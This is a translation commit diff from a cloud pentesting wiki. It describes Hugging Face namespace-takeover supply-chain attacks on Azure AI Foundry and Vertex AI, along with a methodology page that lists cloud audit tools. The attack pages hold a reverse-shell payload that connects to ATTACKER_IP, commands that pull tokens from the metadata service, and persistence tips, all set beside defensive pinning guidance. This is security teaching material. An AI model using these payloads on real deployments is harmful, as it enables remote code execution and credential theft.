mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-post-exploitatio
This commit is contained in:
@@ -4,15 +4,15 @@
|
||||
|
||||
## シナリオ
|
||||
|
||||
- Azure AI Foundry Model Catalog には、ワンクリックでデプロイできる Hugging Face (HF) モデルが多数含まれています。
|
||||
- HF のモデル識別子は Author/ModelName です。もし HF の author/org が削除されると、誰でもその author を再登録して同じ ModelName で旧パスにモデルを公開できます。
|
||||
- 名前のみで取得する(commit pinning/integrity がない)pipelines や catalogs は、攻撃者がコントロールする repos に解決されます。Azure がモデルをデプロイすると、loader code がエンドポイント環境で実行され、そのエンドポイントの権限で RCE を得られる可能性があります。
|
||||
- Azure AI Foundry Model Catalog にはワンクリックでデプロイ可能な Hugging Face (HF) モデルが多数含まれています。
|
||||
- HF のモデル識別子は Author/ModelName です。HF の author/org が削除されると、誰でもその author を再登録して同じ ModelName のモデルを legacy path に公開できます。
|
||||
- 名前だけで取得する pipelines や catalogs(コミットのピン留め/整合性がない場合)は攻撃者管理のリポジトリに解決されます。Azure がモデルをデプロイすると、loader code がエンドポイント環境で実行され、そのエンドポイントの権限で RCE を得る可能性があります。
|
||||
|
||||
一般的な HF の乗っ取りケース:
|
||||
- 所有権の削除: 旧パスは乗っ取りされるまで 404 のままになります。
|
||||
- 所有権の移転: 古い author が存在する間は旧パスが新しい author に 307 リダイレクトされます。もし古い author が後で削除され再登録されると、リダイレクトが壊れ、攻撃者の repo が旧パスで提供されます。
|
||||
- 所有権の削除: 旧パスは乗っ取られるまで 404 になります。
|
||||
- 所有権の移転: 旧著者が存在する間は旧パスが新しい author へ 307 リダイレクトします。もし旧著者が後に削除され再登録されると、リダイレクトは壊れ、攻撃者のリポジトリが旧パスで配信されます。
|
||||
|
||||
## 再利用可能な Namespace (HF) の特定
|
||||
## 再利用可能な名前空間の特定 (HF)
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/availab
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## Azure AI Foundry に対するエンドツーエンド攻撃フロー
|
||||
## Azure AI Foundry に対するエンドツーエンドの攻撃フロー
|
||||
|
||||
1) Model Catalog で、HF 上で元の作者が削除または移管され(old author removed)、放置された HF モデルを見つける。
|
||||
2) HF 上で放棄された作者を再登録し、ModelName を再作成する。
|
||||
3) インポート時に実行される、または trust_remote_code=True を要求する loader コードを含む悪意のある repo を公開する。
|
||||
4) Azure AI Foundry からレガシーの Author/ModelName をデプロイする。プラットフォームが攻撃者の repo をプルし、loader が Azure の endpoint 上の container/VM 内で実行され、endpoint 権限で RCE を獲得する。
|
||||
1) Model Catalogで、HF上で元のAuthorが削除または移管(旧Authorが削除)されたHFのモデルを見つける。
|
||||
2) HFで放棄されたAuthorを再登録し、ModelNameを再作成する。
|
||||
3) import時に実行される、またはtrust_remote_code=Trueを必要とするloaderコードを含む悪意あるrepoを公開する。
|
||||
4) Azure AI FoundryからレガシーのAuthor/ModelNameをデプロイする。プラットフォームが攻撃者のrepoをプルし、loaderがAzureのendpointのcontainer/VM内で実行され、endpoint権限でRCEを引き起こす。
|
||||
|
||||
インポート時に実行されるペイロードの断片(デモ用):
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -46,41 +46,41 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
注意事項
|
||||
- AI Foundry を統合する HF 対応のデプロイは、通常モデルの config で参照されるリポジトリモジュール(例: auto_map)をクローンして import し、code execution を引き起こす可能性があります。いくつかのパスでは trust_remote_code=True が必要です。
|
||||
- アクセス権は通常エンドポイントの managed identity/service principal の権限に一致します。これを Azure 内でのデータアクセスや lateral movement のための initial access foothold として扱ってください。
|
||||
- AI Foundry を統合する HF ベースのデプロイは通常、モデルの config で参照される repo モジュール(例: auto_map)をクローンしてインポートします。これによりコード実行が発生する可能性があります。いくつかのパスでは trust_remote_code=True が必要です。
|
||||
- アクセス権は通常、エンドポイントの managed identity/service principal の権限に合わせられます。これをデータ取得や Azure 内での横移動を行うための初期アクセスの足がかりとして扱ってください。
|
||||
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
## ポストエクスプロイトのヒント (Azure Endpoint)
|
||||
|
||||
- 環境変数および MSI endpoints を列挙して tokens を取得/確認する:
|
||||
- トークン取得のために環境変数とMSIエンドポイントを列挙する:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- 取得したトークンで、マウントされたストレージ、モデルアーティファクト、および到達可能な Azure services を確認する。
|
||||
- プラットフォームが HF から再取得する場合に備えて、poisoned model artifacts を残して persistence を検討する。
|
||||
- 取得したトークンでマウントされたストレージ、モデルアーティファクト、および到達可能な Azure サービスを確認する。
|
||||
- プラットフォームがHFから再プルする場合は、毒入りのモデルアーティファクトを残して永続化を図ることを検討する。
|
||||
|
||||
## Azure AI Foundry ユーザー向けの防御ガイダンス
|
||||
|
||||
- HF からロードする際は、commit 単位でモデルを pin する:
|
||||
- HF からロードする際はコミットでモデルを固定する:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 検証済みの HF モデルを信頼できる内部レジストリにミラーし、そこからデプロイする。
|
||||
- コードベースおよび defaults/docstrings/notebooks を継続的にスキャンし、削除または移管されたハードコーディングされた Author/ModelName を検出したら更新または pin する。
|
||||
- デプロイ前に author の存在と model の出所を検証する。
|
||||
- コードベースや defaults/docstrings/notebooks を継続的にスキャンし、削除/移管されたハードコーディング済みの Author/ModelName を検出して更新またはピン留めする。
|
||||
- デプロイ前に作者の存在とモデルの出所を検証する。
|
||||
|
||||
## 検出ヒューリスティック (HTTP)
|
||||
## 認識ヒューリスティクス (HTTP)
|
||||
|
||||
- 削除された author: author page 404; legacy model path 404 until takeover.
|
||||
- 移管されたモデル: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
|
||||
- 削除された作者: 作者ページが 404;レガシーモデルのパスも takeover まで 404 になる。
|
||||
- 移管されたモデル: 旧作者が存在する間、レガシーパスが 307 で新しい作者へリダイレクトされる;もし旧作者が後で削除され再登録されると、レガシーパスが攻撃者のコンテンツを配信する。
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 相互参照
|
||||
|
||||
- より広範な方法論およびサプライチェーンの注意点を参照してください:
|
||||
- より包括的な方法論およびサプライチェーンに関する注記を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
|
||||
@@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenario
|
||||
## シナリオ
|
||||
|
||||
- Vertex AI Model Garden は多くの Hugging Face (HF) モデルを直接デプロイできます。
|
||||
- HF model identifiers are Author/ModelName. HF 上の author/org が削除された場合、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を使った repo をレガシーパス上に作成できます。
|
||||
- 名前のみで取得する(pinning/integrity なし)Pipelines、SDKs、またはクラウドカタログは攻撃者が制御する repo を引いてしまいます。モデルがデプロイされると、その repo の loader code が Vertex AI endpoint container 内で実行され、エンドポイントの権限で RCE を得られます。
|
||||
- HF のモデル識別子は Author/ModelName です。HF 上の author/org が削除されると、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を持つ repo をレガシーなパスに作成できます。
|
||||
- 名前だけで取得する(pinning/integrity がない)Pipelines、SDKs、またはクラウドカタログは攻撃者がコントロールする repo を取得します。モデルがデプロイされると、その repo のローダーコードが Vertex AI endpoint コンテナ内で実行され、エンドポイントの権限で RCE を引き起こす可能性があります。
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: 古いパスは、誰かがその author を再登録して同じ ModelName を公開するまで 404 を返します。
|
||||
- Ownership transfer: HF は古い Author/ModelName から新しい author へ 307 リダイレクトを発行します。古い author が後で削除され攻撃者により再登録されると、リダイレクトチェーンは途切れ、攻撃者の repo がレガシーパスで提供されます。
|
||||
HF での一般的な乗っ取りケースは 2 つあります:
|
||||
- Ownership deletion: 旧パスは、誰かが author を再登録して同じ ModelName を公開するまで 404 を返します。
|
||||
- Ownership transfer: HF は旧 Author/ModelName から新しい author へ 307 リダイレクトを発行します。もし旧 author が後に削除され攻撃者によって再登録された場合、リダイレクトチェーンは切断され、攻撃者の repo がレガシーパスで応答します。
|
||||
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
## 再利用可能なネームスペースの特定 (HF)
|
||||
|
||||
- Old author deleted: author のページが 404 を返します。モデルパスは takeover が行われるまで 404 を返す場合があります。
|
||||
- Transferred models: 古いモデルパスは、古い author が存在している間は新しい所有者へ 307 を返します。もし古い author が後で削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
|
||||
- Old author deleted: author のページが 404 を返す; モデルのパスは乗っ取りまで 404 を返す場合があります。
|
||||
- Transferred models: 旧モデルパスは旧 author が存在する間、新しい所有者へ 307 を発行します。もし旧 author が後に削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
|
||||
|
||||
Quick checks with curl:
|
||||
curl を使った簡易チェック:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
@@ -30,22 +30,22 @@ curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
```
|
||||
## Vertex AI に対するエンドツーエンドの攻撃フロー
|
||||
|
||||
1) Model Garden に deployable としてリストされている再利用可能なモデル名前空間を発見する:
|
||||
- Vertex AI Model Garden 内で、まだ “verified deployable” と表示されている HF モデルを見つける。
|
||||
- HF 上で、元の author が削除されているか、モデルが移管されて古い author が後に削除されたかを確認する。
|
||||
1) Model Garden が deployable として一覧表示している、再利用可能なモデル名前空間を発見する:
|
||||
- Vertex AI Model Garden にある、まだ “verified deployable” と表示されている HF モデルを見つける。
|
||||
- HF 上で元の author が削除されているか、またはモデルが移管されて古い author が後で削除されたかを確認する。
|
||||
|
||||
2) HF 上で削除された author を再登録し、同じ ModelName を再作成する。
|
||||
|
||||
3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード中に一般的に実行される例:
|
||||
3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード時によく実行される例:
|
||||
- repo の __init__.py における副作用
|
||||
- config/auto_map で参照される custom modeling_*.py や processing コード
|
||||
- Transformers パイプラインで trust_remote_code=True を要するコードパス
|
||||
- config/auto_map で参照されるカスタムの modeling_*.py や処理コード
|
||||
- Transformers の pipelines で trust_remote_code=True を要求するコードパス
|
||||
|
||||
4) レガシーな Author/ModelName の Vertex AI デプロイが攻撃者の repo をプルするようになる。ローダーは Vertex AI endpoint コンテナ内で実行される。
|
||||
4) 以前の Author/ModelName を使った Vertex AI のデプロイが攻撃者の repo をプルする。ローダーは Vertex AI endpoint コンテナ内で実行される。
|
||||
|
||||
5) ペイロードは endpoint 環境から(RCE)エンドポイントの権限でアクセスを確立する。
|
||||
|
||||
インポート時に実行されるペイロード断片の例(デモ目的のみ):
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
メモ
|
||||
- 実際のローダーは様々です。多くの Vertex AI HF 統合は、モデルの設定で参照されるリポジトリモジュール(例: auto_map)をクローンしてインポートし、これがコード実行を引き起こす可能性があります。一部の利用では trust_remote_code=True が必要になることがあります。
|
||||
- エンドポイントは通常、限定的な権限の専用コンテナで動作しますが、GCP 内でのデータアクセスや横移動のための有効な初期足がかりになり得ます。
|
||||
- 実際の loaders は様々です。多くの Vertex AI HF integrations はモデル’s config で参照されるリポジトリモジュールをクローンしてインポートします(例: auto_map)。これがコード実行を引き起こす可能性があります。使用によっては trust_remote_code=True が必要です。
|
||||
- endpoint は通常、限定されたスコープの専用コンテナで動作しますが、GCP 内でデータアクセスや横移動のための有効な初期足掛かりとなり得ます。
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
endpoint コンテナ内でコードが実行されている場合、次を検討してください:
|
||||
- 資格情報/トークンのために環境変数やメタデータを列挙する
|
||||
コードが endpoint コンテナ内で実行されている場合は、以下を検討してください:
|
||||
- 資格情報/トークンを得るために環境変数やメタデータを列挙する
|
||||
- アタッチされたストレージやマウントされたモデルアーティファクトにアクセスする
|
||||
- サービスアカウントの識別を使って Google APIs とやり取りする (Document AI, Storage, Pub/Sub, etc.)
|
||||
- プラットフォームが repo を再取得する場合に備えてモデルアーティファクト内に永続化する
|
||||
- サービスアカウントのアイデンティティを介して Google APIs(Document AI, Storage, Pub/Sub など)とやり取りする
|
||||
- プラットフォームがリポジトリを再取得する場合に備えて、モデルアーティファクト内に永続化を置く
|
||||
|
||||
アクセス可能ならインスタンスメタデータを列挙する(コンテナ依存):
|
||||
アクセス可能ならインスタンスのメタデータを列挙する(コンテナ依存):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Vertex AI ユーザー向けの防御ガイダンス
|
||||
## Vertex AI ユーザー向け防御ガイダンス
|
||||
|
||||
- HF loadersでモデルをcommit単位で固定して、サイレントな置き換えを防ぐ:
|
||||
- HF loaders で commit によってモデルを固定し、知らないうちに差し替えられるのを防ぐ:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 精査済みの HFモデル を信頼できる内部のアーティファクトストア/レジストリにミラーし、そこからデプロイする。
|
||||
- コードベースと設定を継続的にスキャンし、削除/転送されたハードコーディングされた Author/ModelName を検出して、新しい名前空間に更新するかコミットで固定する。
|
||||
- Model Garden では、デプロイ前にモデルの由来と作者の存在を確認する。
|
||||
- 検証済みの HF models を信頼できる社内の artifact store/registry にミラーし、そこからデプロイする。
|
||||
- コードベースや設定を継続的にスキャンし、削除/移管された Author/ModelName がハードコードされていないか確認する。新しい名前空間に更新するか、コミットで pin する。
|
||||
- Model Garden では、デプロイ前にモデルの出所と著者の存在を確認する。
|
||||
|
||||
## 認識ヒューリスティクス (HTTP)
|
||||
## 検出ヒューリスティクス (HTTP)
|
||||
|
||||
- 削除された作者:作者ページが404。旧モデルパスも引き継ぎまで404。
|
||||
- 移管されたモデル:旧パスが旧作者が存在する間に新作者へ307リダイレクトする;後に旧作者が削除され再登録された場合、旧パスは攻撃者のコンテンツを返す。
|
||||
- Deleted author: 著者ページが 404。レガシーモデルのパスも乗っ取りが起こるまで 404。
|
||||
- Transferred model: レガシーパスが 307 で新しい著者へリダイレクトされる(旧著者が存在する間);もし旧著者が後に削除され再登録されると、レガシーパスが攻撃者のコンテンツを配信する。
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 相互参照
|
||||
|
||||
- より広範な方法論およびサプライチェーンに関する注記を参照:
|
||||
- より広範な方法論とサプライチェーンに関する注意事項を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting クラウド方法論
|
||||
# Pentesting Cloud 方法論
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,39 +6,39 @@
|
||||
|
||||
## 基本的な方法論
|
||||
|
||||
各クラウドには固有の特性がありますが、一般的にクラウド環境をテストする際に、**ペンテスターが確認すべき共通の項目**がいくつかあります:
|
||||
各クラウドには固有の特徴がありますが、一般的にクラウド環境をテストする際に確認すべき**共通のチェック項目(a pentester should check)**がいくつかあります:
|
||||
|
||||
- **ベンチマークチェック**
|
||||
- これは環境の**規模を把握**し、**使用されているサービス**を理解するのに役立ちます
|
||||
- ほとんどのテストを**自動化ツール**で実行できるため、**簡単な誤設定**を見つけることもできます
|
||||
- **サービス列挙**
|
||||
- ベンチマークテストを正しく実行していれば、ここで大きな誤設定はあまり見つからないかもしれませんが、ベンチマークで見落とされていたものが見つかる可能性があります。
|
||||
- これによりクラウド環境で**正確に何が使われているか**を把握できます
|
||||
- 次のステップで大いに役立ちます
|
||||
- **公開アセットの確認**
|
||||
- これは前のセクションで行うことができ、インターネットに何らかの形で**公開されている可能性のあるすべて**と、そのアクセス方法を把握する必要があります。
|
||||
- ここでは、ウェブページやその他のポートが公開されているインスタンスのような**手動で公開されたインフラ**や、公開可能な設定がされ得る**クラウド管理サービス**(例: DBsや buckets)について扱います。
|
||||
- 次に、そのリソースが**実際に公開されうるか**(機密情報か?脆弱性か?公開されたサービスの誤設定か?)を確認するべきです。
|
||||
- これにより環境の**規模を理解**し、**使用されているサービス**を把握できます
|
||||
- ほとんどのテストを**自動化ツール**で実行できるため、**簡単なミスコンフィギュレーション**を見つけられることもあります
|
||||
- **Services Enumeration**
|
||||
- ベンチマークテストを正しく実施していればここで大きなミスコンフィギュレーションはあまり見つからないかもしれませんが、ベンチマークで見落とされていたものが見つかる場合があります
|
||||
- これによりクラウド環境で**何が実際に使われているか**を把握できます
|
||||
- 次のステップで非常に役立ちます
|
||||
- **公開されているアセットの確認**
|
||||
- これは前のセクションで行うことができ、潜在的にインターネットに公開されているものを**すべて特定**し、それがどのようにアクセス可能かを確認する必要があります
|
||||
- ここでは、webページや他のポートが公開されているインスタンスのような**手動で公開されたインフラ**、および公開可能な構成がなされる**クラウド管理サービス**(DBsやbucketsなど)について扱います
|
||||
- 次に、そのリソースが**実際に公開され得るか**(機密情報?脆弱性?公開されているサービスの設定ミス?)を確認するべきです
|
||||
- **権限の確認**
|
||||
- ここではクラウド内の各ロール/ユーザーの**全ての権限**とそれらの使われ方を把握するべきです
|
||||
- 特権が**過剰**(すべてを制御できる)なアカウントが多い?生成されたキーが未使用?... これらの多くは既にベンチマークテストでチェックされているはずです
|
||||
- クライアントが OpenID や SAML、その他の **フェデレーション** を使用している場合、各ロールがどのように割り当てられているかについてのさらなる **情報** を確認する必要があるかもしれません(admin ロールが1人に割り当てられているのと100人に割り当てられているのとでは同じではありません)。
|
||||
- ユーザーが "**admin**" 権限 "*:*" を持っていることを見つけるだけでは**不十分**です。使用されるサービスによっては非常に**センシティブ**な**その他の権限**が多数存在します。
|
||||
- さらに、権限を悪用して追える**潜在的な privesc** の手段が存在します。これらすべてを考慮に入れ、**できる限り多くの privesc パス**を報告すべきです。
|
||||
- ここでは、クラウド内の各ロール/ユーザーが持つ**すべての権限**とそれらがどのように使われているかを特定する必要があります
|
||||
- 過度に**高い権限を持つアカウント**が多すぎる?(すべてを制御できる)生成されたキーが使われていない?…これらの多くは既にベンチマークテストで確認されているはずです
|
||||
- クライアントがOpenIDやSAML、その他の**federation**を使用している場合、各ロールがどのように割り当てられているかについてさらに**情報**を求める必要があるかもしれません(管理者ロールが1人に割り当てられているのと100人に割り当てられているのでは状況が異なります)
|
||||
- **見つけるだけでは不十分**にどのユーザーが**admin**権限 "\*:\*" を持っているかを確認するだけでは不十分です。使用されているサービスによっては非常に**センシティブ**になり得る**その他の権限**が多数存在します
|
||||
- さらに、権限を悪用して追跡可能な**potential privesc**の経路が存在します。これらすべてを考慮し、**できるだけ多くの privesc paths**を報告する必要があります
|
||||
- **統合の確認**
|
||||
- クラウド環境内で**他のクラウドや SaaS との統合**が利用されている可能性が高いです。
|
||||
- 監査対象のクラウドが他のプラットフォームと統合されている場合、その統合を(悪用)できる**誰がアクセス権を持っているか**を通知し、そのアクションがどれほど**機微(敏感)**であるかを確認すべきです。
|
||||
例えば、GCP がデータを取得している AWS のバケットに書き込みできるのは誰か(そのデータを GCP 側で扱うことがどれほど敏感かを確認してください)。
|
||||
- 外部プラットフォームから監査対象クラウド内への統合については、その統合を外部から(悪用)できる**誰がアクセス権を持っているか**を確認し、そのデータがどのように使われているかをチェックするべきです。
|
||||
例えば、あるサービスが GCR にホストされた Docker イメージを使用している場合、そのイメージを修正できるのは誰か、そしてそのイメージが AWS クラウド内で実行されたときにどのような機密情報やアクセス権を得るかを確認してください。
|
||||
- クラウド環境内で**他のクラウドやSaaSとの統合**が使われている可能性が非常に高いです
|
||||
- 監査対象のクラウドが他のプラットフォームと行っている**統合**については、その統合を(悪用)できる**誰がアクセス権を持っているか**を通知し、その操作がどれほど**機密性が高いか**を確認するべきです。\
|
||||
例えば、GCPがデータを取得しているAWSのbucketに誰が書き込みできるか(そのデータをGCPで扱う際にどの程度機密性があるかを尋ねる)。
|
||||
- 外部プラットフォームから監査対象のクラウド内に対する**統合**については、その統合を外部から(悪用)できる**誰がアクセス権を持っているか**を確認し、そのデータがどのように使用されているかをチェックするべきです。\
|
||||
例えば、あるサービスがGCRにホストされたDockerイメージを使用している場合、そのイメージを変更できるのは誰か、そしてそのイメージがAWSクラウド内で実行されたときにどのような機密情報やアクセス権を取得するかを確認すべきです。
|
||||
|
||||
## マルチクラウドツール
|
||||
|
||||
異なるクラウド環境のテストに使用できるツールがいくつかあります。インストール手順とリンクはこのセクションで示します。
|
||||
異なるクラウド環境をテストするために使用できるツールがいくつかあります。インストール手順とリンクはこのセクションで示します。
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
クラウドやクラウド間/SaaS における悪い設定および privesc パスを識別するツールです。
|
||||
クラウドおよびクラウド間/SaaSにおける**不適切な設定とprivesc pathを識別する**ツール。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
これは **AWS, GCP & Azure** をサポートしています。各プロバイダの設定方法は [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) を参照してください。
|
||||
それは **AWS, GCP & Azure** をサポートしています。各プロバイダの設定方法は [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) を確認してください。
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -146,7 +146,7 @@ done
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
Steampipeをダウンロードしてインストールします([https://steampipe.io/downloads](https://steampipe.io/downloads))。またはBrewを使用します:
|
||||
Steampipe をダウンロードしてインストールしてください([https://steampipe.io/downloads](https://steampipe.io/downloads))。または Brew を使用してください:
|
||||
```
|
||||
brew tap turbot/tap
|
||||
brew install steampipe
|
||||
@@ -168,9 +168,9 @@ steampipe check all
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>すべてのプロジェクトを確認する</summary>
|
||||
<summary>すべてのプロジェクトを確認</summary>
|
||||
|
||||
すべてのプロジェクトを確認するには、テストするすべてのプロジェクトを指定する`gcp.spc`ファイルを生成する必要があります。以下のスクリプトの指示に従えばよいです。
|
||||
すべてのプロジェクトをチェックするには、テストするすべてのプロジェクトを指定する `gcp.spc` ファイルを生成する必要があります。以下のスクリプトの指示に従えばよいです。
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
他の **GCP insights**(サービス列挙に役立つ)を確認するには、次を使用してください: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
他の **GCP insights**(サービスの列挙に有用)を確認するには、次を使用してください: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Terraform の GCP コードを確認するには: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
Steampipe のその他の GCP プラグイン: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Steampipe の GCP プラグインをさらに見る: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -234,11 +234,11 @@ More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aw
|
||||
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
|
||||
|
||||
AWS, GCP, Azure, DigitalOcean.\
|
||||
python2.7 が必要で、メンテされていないように見えます。
|
||||
python2.7 が必要で、メンテナンスされていないように見えます。
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus には _**Audit Cloud Infrastructure**_ スキャンがあり、AWS、Azure、Office 365、Rackspace、Salesforce をサポートします。**Azure** では **Client Id** を取得するために追加の設定が必要です。
|
||||
Nessus には _**Audit Cloud Infrastructure**_ スキャンがあり、以下をサポートします: AWS、Azure、Office 365、Rackspace、Salesforce。**Azure** では **Client Id** を取得するためにいくつかの追加設定が必要です。
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography は、Neo4j データベースによって駆動される直感的なグラフビューで、インフラストラクチャ資産とそれらの間の関係を統合する Python ツールです。
|
||||
Cartographyは、Neo4jデータベースで駆動される直感的なグラフビューで、インフラストラクチャの資産とそれらの関係を統合するPythonツールです。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbaseは、クラウドインフラ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係性を収集し、Neo4jデータベースをバックエンドとした直感的なグラフビューに統合します。
|
||||
Starbaseはクラウドインフラ、SaaSアプリケーション、セキュリティコントロールなどを含むサービスやシステムから資産と関係性を収集し、Neo4jデータベースをバックエンドにした直感的なグラフビューにまとめます。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
スキャンされた AWS または Azure 環境で、AWS Shadow Admins を含む最も権限の高いユーザーを検出します。powershell を使用します。
|
||||
スキャンされた AWS または Azure 環境で、最も権限の高いユーザー(AWS Shadow Admins を含む)を検出します。powershell を使用します。
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,13 +372,13 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
企業(ターゲット)のインフラ、ファイル、アプリを主要クラウドプロバイダ(Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode)上で見つけるためのツール。
|
||||
A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFoxはクラウドインフラの利用可能な攻撃パスを発見するツールです(現在はAWSとAzureのみサポート、GCPは近日対応予定)。
|
||||
- 手動の pentesting を補完するための列挙ツールです。
|
||||
- クラウド環境内のデータを作成したり変更したりすることはありません。
|
||||
- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming).
|
||||
- It is an enumeration tool which is intended to compliment manual pentesting.
|
||||
- It doesn't create or modify any data within the cloud environment.
|
||||
|
||||
### More lists of cloud security tools
|
||||
|
||||
@@ -410,13 +410,13 @@ aws-security/
|
||||
azure-security/
|
||||
{{#endref}}
|
||||
|
||||
### Attack Graph
|
||||
### 攻撃グラフ
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)はAzureサブスクリプション内のリソースの“attack graph”を作成します。red teamsやpentestersが攻撃面やテナント内でのピボット機会を可視化でき、あなたの防御担当者がインシデント対応作業の把握と優先順位付けを迅速に行えるようにします。
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)はAzureサブスクリプション内のリソースの“攻撃グラフ”を作成します。red teamsやpentestersがテナント内の攻撃面とピボットの機会を可視化できるようにし、防御担当者が迅速にインシデント対応の方向付けと優先順位付けを行えるように大幅に支援します。
|
||||
|
||||
### Office365
|
||||
|
||||
You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **ウェブアプリケーション経由で**。
|
||||
